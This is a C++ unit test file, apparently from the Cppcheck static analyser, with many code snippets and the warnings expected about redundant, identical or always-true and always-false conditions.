ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n 